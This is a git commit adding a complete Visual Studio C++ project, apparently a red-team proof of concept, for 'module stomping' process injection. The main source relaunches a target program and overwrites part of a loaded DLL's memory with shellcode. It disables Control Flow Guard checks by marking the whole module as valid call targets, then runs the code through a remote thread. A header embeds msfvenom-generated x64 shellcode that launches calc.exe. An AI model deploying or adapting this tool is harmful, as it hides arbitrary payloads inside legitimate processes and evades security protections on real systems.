Initial code

This commit is contained in:
William Knowles
2020-01-07 23:25:37 +00:00
parent cf65038927
commit d12cada479
8 changed files with 655 additions and 1 deletions
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29613.14
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CodeCoverageMiniStompInjection", "CodeCoverageMiniStompInjection\CodeCoverageMiniStompInjection.vcxproj", "{0DAF446C-3714-4584-BB25-FC5F0879E861}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x64.ActiveCfg = Debug|x64
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x64.Build.0 = Debug|x64
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x86.ActiveCfg = Debug|Win32
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x86.Build.0 = Debug|Win32
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x64.ActiveCfg = Release|x64
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x64.Build.0 = Release|x64
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x86.ActiveCfg = Release|Win32
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {717FCA4C-C5AC-48C8-BFD4-D1D7FE0AF7F4}
EndGlobalSection
EndGlobal
@@ -0,0 +1,239 @@
#include <algorithm>
#include <iostream>
#include <string>
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <chrono>
#include <thread>
#pragma comment(lib, "mincore.lib")
#include "CodeCoverageMiniStompInjection.h"
DWORD FindProcessByPID(const std::wstring& processName)
{
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return 0;
Process32First(processesSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
while (Process32Next(processesSnapshot, &processInfo))
{
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
}
CloseHandle(processesSnapshot);
return 0;
}
void KillProcessByName(const std::wstring& processName)
{
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return;
Process32First(processesSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile))
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
processInfo.th32ProcessID);
if (hProcess != NULL)
{
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
while (Process32Next(processesSnapshot, &processInfo))
{
if (!processName.compare(processInfo.szExeFile))
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
processInfo.th32ProcessID);
if (hProcess != NULL)
{
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
}
CloseHandle(processesSnapshot);
}
DWORD SetUpTargetProcess(std::wstring targetProcessName)
{
// Kill existing notepad processes
KillProcessByName(targetProcessName);
// Start a new notepad process
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Start the child process.
if (!CreateProcess(NULL, // No module name (use command line)
(LPWSTR)targetProcessName.c_str(), // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
printf("CreateProcess failed (%d).\n", GetLastError());
return 0;
}
std::this_thread::sleep_for(std::chrono::seconds(2)); // sleep to give process time to actually start
// Find PID of new notepad process
DWORD targetPID = FindProcessByPID(targetProcessName);
return targetPID;
}
int InjectIntoModule(DWORD processID, std::wstring moduleTarget, DWORD offsetInMemory)
{
std::cout << std::endl;
//std::cout << "Process launched. Attach debugger now if required. Proceed with injection?" << std::endl;
//system("pause");
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;
unsigned int i;
// Print the process identifier.
std::cout << "Process ID: " << processID << std::endl;
// Get a handle to the process.
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (NULL == hProcess)
{
std::cout << "Could not open handle to process." << std::endl;
return 1;
}
std::cout << "Handle to external process obtained." << std::endl;
// Get a list of all the modules in this process.
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
{
TCHAR szModName[MAX_PATH];
// Get the full path to the module's file.
if (GetModuleFileNameEx(hProcess, hMods[i], szModName,
sizeof(szModName) / sizeof(TCHAR)))
{
std::wstring moduleCurrent = std::wstring(szModName);
std::transform(moduleCurrent.begin(), moduleCurrent.end(), moduleCurrent.begin(), std::tolower);
if (wcsstr(moduleCurrent.c_str(), moduleTarget.c_str()) != 0)
{
std::wcout << "Target module found: " << szModName << " is at " << hMods[i] << std::endl;
PVOID remoteBuffer;// = hMods[i];
remoteBuffer = (int*)((char*)hMods[i] + offsetInMemory); //offsetInMemory
//remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// make memory section writable
std::cout << "Modifying module memory to be writable." << std::endl;
DWORD oldProtect;
DWORD virtualProtectRWE = VirtualProtectEx(hProcess, remoteBuffer, sizeof shellcode, PAGE_EXECUTE_WRITECOPY, &oldProtect);
if (virtualProtectRWE == 0)
{
std::cout << "Error when making memory RWE: " << GetLastError() << std::endl;
}
//system("pause");
MODULEINFO currentModule;
ZeroMemory(&currentModule, sizeof(currentModule));
GetModuleInformation(hProcess, hMods[i], &currentModule, sizeof currentModule);
std::cout << "Setting CFG call targets." << std::endl;
for (unsigned int n = 0; n < currentModule.SizeOfImage; n += 16)
{
CFG_CALL_TARGET_INFO offsetInfo;
offsetInfo.Flags = CFG_CALL_TARGET_VALID;
offsetInfo.Offset = n;
if (!SetProcessValidCallTargets(hProcess, (void*)currentModule.lpBaseOfDll, currentModule.SizeOfImage, 1, &offsetInfo))
{
std::cout << "Error when calling SetProcessValidCallTargets: " << GetLastError() << std::endl;
}
}
// write data
std::cout << "Writing shellcode to external process. Total bytes: " << (sizeof shellcode) << std::endl;
DWORD writeProcessMemory = WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof shellcode, NULL);
if (writeProcessMemory == 0)
{
std::cout << "Error when writing to external process' memory: " << GetLastError() << std::endl;
}
//system("pause");
std::cout << "Creating thread in external process." << std::endl;
HANDLE rThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (rThread == NULL)
{
std::cout << "Error when creating remote thread: " << GetLastError() << std::endl;
}
//system("pause");
std::cout << "Modifying module memory to be non-writable." << std::endl;
VirtualProtectEx(hProcess, hMods[i], sizeof shellcode, PAGE_EXECUTE_READ, &oldProtect);
}
}
}
}
// Release the handle to the process.
CloseHandle(hProcess);
return 0;
}
int wmain(int argc, wchar_t* argv[])
{
if (argc != 4)
{
std::cout << "DLLCoverage.exe <program.exe> <module.dll> <offsetBytes>" << std::endl;
return 1;
}
// Set up target process
DWORD targetPID = SetUpTargetProcess(argv[1]);
// 1==moduleName, 2=offset, 3==freeSpace
InjectIntoModule(targetPID, argv[2], _wtoi(argv[3]));
return 0;
}
@@ -0,0 +1,28 @@
#pragma once
// msfvenom -f c -p windows/x64/exec CMD="C:\windows\system32\calc.exe" -b \x00\x0a\x0d EXITFUNC=thread
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x48\x31\xc9\x48\x81\xe9\xdb\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xc3\x89\x60\xf6\x85\x2f\x95\xc3\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x3f\xc1\xe3\x12\x75\xc7"
"\x55\xc3\xc3\x89\x21\xa7\xc4\x7f\xc7\x92\x95\xc1\x51\x24\xe0"
"\x67\x1e\x91\xa3\xc1\xeb\xa4\x9d\x67\x1e\x91\xe3\xc1\xeb\x84"
"\xd5\x67\x9a\x74\x89\xc3\x2d\xc7\x4c\x67\xa4\x03\x6f\xb5\x01"
"\x8a\x87\x03\xb5\x82\x02\x40\x6d\xb7\x84\xee\x77\x2e\x91\xc8"
"\x31\xbe\x0e\x7d\xb5\x48\x81\xb5\x28\xf7\x55\xa4\x15\x4b\xc3"
"\x89\x60\xbe\x00\xef\xe1\xa4\x8b\x88\xb0\xa6\x0e\x67\x8d\x87"
"\x48\xc9\x40\xbf\x84\xff\x76\x95\x8b\x76\xa9\xb7\x0e\x1b\x1d"
"\x8b\xc2\x5f\x2d\xc7\x4c\x67\xa4\x03\x6f\xc8\xa1\x3f\x88\x6e"
"\x94\x02\xfb\x69\x15\x07\xc9\x2c\xd9\xe7\xcb\xcc\x59\x27\xf0"
"\xf7\xcd\x87\x48\xc9\x44\xbf\x84\xff\xf3\x82\x48\x85\x28\xb2"
"\x0e\x6f\x89\x8a\xc2\x59\x21\x7d\x81\xa7\xdd\xc2\x13\xc8\x38"
"\xb7\xdd\x71\xcc\x99\x82\xd1\x21\xaf\xc4\x75\xdd\x40\x2f\xa9"
"\x21\xa4\x7a\xcf\xcd\x82\x9a\xd3\x28\x7d\x97\xc6\xc2\x3c\x3c"
"\x76\x3d\xbe\x3f\x2e\x95\xc3\xc3\x89\x60\xf6\x85\x67\x18\x4e"
"\xc2\x88\x60\xf6\xc4\x95\xa4\x48\xac\x0e\x9f\x23\x3e\xcf\x88"
"\xe9\xc9\xc8\xda\x50\x10\x92\x08\x3c\x16\xc1\xe3\x32\xad\x13"
"\x93\xbf\xc9\x09\x9b\x16\xf0\x2a\x2e\x84\xd0\xfb\x0f\x9c\x85"
"\x76\xd4\x4a\x19\x76\xb5\xb5\xbf\x73\xe2\xaa\xad\xed\x0f\x81"
"\xf6\x73\xe6\xba\xb0\xfd\x05\x9b\xb6\x1d\xc9\xa0\xa2\xe5\x03"
"\xd8\xe0\x57\xf0\xc3";
@@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{0DAF446C-3714-4584-BB25-FC5F0879E861}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CodeCoverageMiniStompInjection</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CodeCoverageMiniStompInjection.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="CodeCoverageMiniStompInjection.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CodeCoverageMiniStompInjection.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="CodeCoverageMiniStompInjection.h">
<Filter>Source Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>